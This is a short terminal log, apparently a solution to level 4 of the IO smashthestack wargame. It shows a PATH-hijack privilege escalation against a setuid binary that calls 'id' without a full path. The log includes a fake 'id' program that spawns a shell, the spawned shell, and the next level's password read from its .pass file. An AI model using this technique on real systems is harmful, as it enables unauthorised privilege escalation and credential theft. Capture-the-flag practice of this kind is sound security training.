IO smashthestack level4

level4@io:/tmp/.pwn3r$ ls -l /levels/level04* 
-r-sr-x--- 1 level5 level4 7016 Nov 16  2007 /levels/level04 
-r-------- 1 level4 level4  65 Nov 16  2007 /levels/level04.c 
level4@io:/tmp/.pwn3r$ cat /levels/level04.c 
#include <stdlib.h> 

int main() { 

system("id"); 

return 0; 
} 
level4@io:/tmp/.pwn3r$ ls -l    
total 12 
-rwxr-xr-x 1 level4 level4 6639 Apr  8 15:09 id 
-rw-r--r-- 1 level4 level4  89 Apr  8 15:09 id.c 
level4@io:/tmp/.pwn3r$ cat id.c 
#include <stdio.h> 

int main() 
{ 
  setreuid(geteuid(),geteuid()); 
  system("/bin/sh"); 
} 
level4@io:/tmp/.pwn3r$ export | grep PATH 
declare -x LD_LIBRARY_PATH="/usr/local/lib" 
declare -x PATH="/usr/local/bin:/usr/bin:/bin:/usr/games" 
level4@io:/tmp/.pwn3r$ export PATH=/tmp/.pwn3r:$PATH 
level4@io:/tmp/.pwn3r$ /levels/level04  
sh-3.2$ /usr/bin/id 
uid=1005(level5) gid=1004(level4) groups=1004(level4),1029(nosu) 
sh-3.2$ cat /home/level5/.pass 
RAhK8VOfcVYV 
sh-3.2$